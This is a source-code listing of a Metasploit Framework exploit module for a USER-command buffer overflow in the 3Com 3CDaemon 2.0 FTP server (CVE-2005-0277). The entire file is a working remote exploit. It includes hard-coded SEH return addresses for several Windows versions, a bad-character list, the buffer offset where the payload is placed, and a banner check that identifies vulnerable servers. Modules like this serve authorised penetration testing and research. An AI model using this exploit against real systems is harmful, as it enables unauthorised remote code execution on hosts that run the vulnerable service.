root / modules / exploits / windows / ftp / 3cdaemon_ftp_user.rb
History | View | Annotate | Download (2.5 KB)
| 1 | ##
|
|---|---|
| 2 | # $Id: 3cdaemon_ftp_user.rb 7724 2009-12-06 05:50:37Z jduck $
|
| 3 | ##
|
| 4 | |
| 5 | ##
|
| 6 | # This file is part of the Metasploit Framework and may be subject to
|
| 7 | # redistribution and commercial restrictions. Please see the Metasploit
|
| 8 | # Framework web site for more information on licensing and terms of use.
|
| 9 | # http://metasploit.com/framework/
|
| 10 | ##
|
| 11 | |
| 12 | |
| 13 | require 'msf/core'
|
| 14 | |
| 15 | |
| 16 | class Metasploit3 < Msf::Exploit::Remote |
| 17 | Rank = AverageRanking |
| 18 | |
| 19 | include Msf::Exploit::Remote::Ftp |
| 20 | include Msf::Exploit::Remote::Seh |
| 21 | |
| 22 | def initialize(info = {}) |
| 23 | super(update_info(info,
|
| 24 | 'Name' => '3Com 3CDaemon 2.0 FTP Username Overflow', |
| 25 | 'Description' => %q{ |
| 26 | This module exploits a vulnerability in the 3Com 3CDaemon |
| 27 | FTP service. This package is being distributed from the 3Com |
| 28 | web site and is recommended in numerous support documents. |
| 29 | This module uses the USER command to trigger the overflow. |
| 30 | |
| 31 | },
|
| 32 | 'Author' => [ 'hdm' ], |
| 33 | 'License' => MSF_LICENSE, |
| 34 | 'Version' => '$Revision: 7724 $', |
| 35 | 'References' =>
|
| 36 | [ |
| 37 | [ 'CVE', '2005-0277'], |
| 38 | [ 'OSVDB', '12810'], |
| 39 | [ 'OSVDB', '12811'], |
| 40 | [ 'BID', '12155'], |
| 41 | [ 'URL', 'ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip'], |
| 42 | |
| 43 | ], |
| 44 | 'Privileged' => false, |
| 45 | 'Payload' =>
|
| 46 | {
|
| 47 | 'Space' => 674, |
| 48 | 'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09", |
| 49 | 'StackAdjustment' => -3500, |
| 50 | 'Compat' =>
|
| 51 | {
|
| 52 | 'ConnectionType' => "-find" |
| 53 | } |
| 54 | |
| 55 | }, |
| 56 | 'Targets' =>
|
| 57 | [ |
| 58 | [ |
| 59 | 'Windows 2000 English', # Tested OK - hdm 11/24/2005 |
| 60 | {
|
| 61 | 'Platform' => 'win', |
| 62 | 'Ret' => 0x75022ac4, # ws2help.dll |
| 63 | }, |
| 64 | ], |
| 65 | [ |
| 66 | 'Windows XP English SP0/SP1',
|
| 67 | {
|
| 68 | 'Platform' => 'win', |
| 69 | 'Ret' => 0x71aa32ad, # ws2help.dll |
| 70 | }, |
| 71 | ], |
| 72 | [ |
| 73 | 'Windows NT 4.0 SP4/SP5/SP6',
|
| 74 | {
|
| 75 | 'Platform' => 'win', |
| 76 | 'Ret' => 0x77681799, # ws2help.dll |
| 77 | }, |
| 78 | ], |
| 79 | [ |
| 80 | 'Windows 2000 Pro SP4 French',
|
| 81 | {
|
| 82 | 'Platform' => 'win', |
| 83 | 'Ret' => 0x775F29D0, |
| 84 | }, |
| 85 | ], |
| 86 | |
| 87 | ], |
| 88 | 'DisclosureDate' => 'Jan 4 2005')) |
| 89 | end
|
| 90 | |
| 91 | def check |
| 92 | connect |
| 93 | disconnect |
| 94 | if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/) |
| 95 | return Exploit::CheckCode::Vulnerable |
| 96 | end
|
| 97 | return Exploit::CheckCode::Safe |
| 98 | end
|
| 99 | |
| 100 | def exploit |
| 101 | connect |
| 102 | |
| 103 | print_status("Trying target #{target.name}...")
|
| 104 | |
| 105 | buf = rand_text_english(2048, payload_badchars)
|
| 106 | seh = generate_seh_payload(target.ret) |
| 107 | buf[229, seh.length] = seh
|
| 108 | |
| 109 | send_cmd( ['USER', buf] , false ) |
| 110 | |
| 111 | handler |
| 112 | disconnect |
| 113 | end
|
| 114 | |
| 115 | end
|